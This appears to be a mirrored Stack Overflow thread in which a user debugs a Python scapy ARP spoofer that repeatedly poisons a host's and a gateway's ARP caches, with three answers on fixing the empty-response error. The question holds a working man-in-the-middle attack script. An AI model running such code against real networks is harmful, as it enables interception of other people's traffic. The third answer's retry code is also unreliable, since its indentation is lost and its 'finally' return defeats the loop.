'Python ARP spoofer using scapy module

Im trying to code a basic arp spoofer following a tutorial i found online. So I coded the basic beginnig of the arpSpoofer but when i execute it throws an IndexError: list index out of range...Im sure i have made a silly mistake on the code but i cant really find it and I've been trying for hours. The code is this:

import scapy.all as scapy
from scapy import *
import time

def get_mac(ip):
        arp_request = scapy.ARP(pdst = ip)
        broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]

        return answered_list[0][1].hwsrc 

def spoof(target_ip, spoof_ip):
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,   psrc=spoof_ip)
        scapy.send(packet)




while True:
        spoof("192.168.1.79", "192.168.1.1")
        spoof("192.168.1.1", "192.168.1.79")

And the excact error message is:

Traceback (most recent call last):
  File "arp_spoof.py", line 26, in <module>
    spoof("192.168.1.79", "192.168.1.1")
  File "arp_spoof.py", line 18, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 15, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

I'd appreciate some help...Thanks in advance! :)



Solution 1:[1]

Indeed answered_list must be empty. You should check for this condition before even trying to extract pieces.

Probably you need to tell Scapy to use a specific interface or adapt your routing rules. Add the iface parameter to the srp function. On Linux, that would be something like 'eth0' or 'enp1s0'. On Windows, that would be the meaningful interface name like 'Network Connection 1' or something.

You can type conf.iface in scapy to check the default interface. Quite often, it's a wrong one that is selected by default. Very likely, that's why you got an empty list.

Just one remark: this is duplication:

import scapy.all as scapy
from scapy import *

The practice of importing * from a module or package is generally not good practice, here's why: Why import star in Python is a bad idea

Below are some points about why import * should not be used:

  • Code Readability
  • It is always remains a mystery what is imported and cannot be found easily from - which module a certain thing was imported that result in low code readability.
  • Polluting the namespace, import * imports all the functions and classes in your own namespace that may clash with the function and classes you define or function and classes of other libraries that you may import.
  • Concrete possibility of hiding bugs
  • Tools like pyflakes can’t be used to statically detect errors in the source code.

It would be better to import just what you need eg:

from scapy.all import srp,send,ARP

Solution 2:[2]

scapy_ip = scapy.ARP(pdst=ip)
scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
scapy_broadcast = scapy_mac/scapy_ip
ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")

for i in ans:
    print(i[1].psrc, i[1].hwsrc)

Solution 3:[3]

I changed the get_mac function as follow to make sure the mac is not empty

def get_mac(ip):
mac = "xx"
while mac == "xx":
    try:
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
        mac = answered_list[0][1].hwsrc
        # print(mac)
    except:
        pass
    finally:
        return mac

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1 Kate
Solution 2 MOHAMED RAIYAN
Solution 3 Ramy Nazmy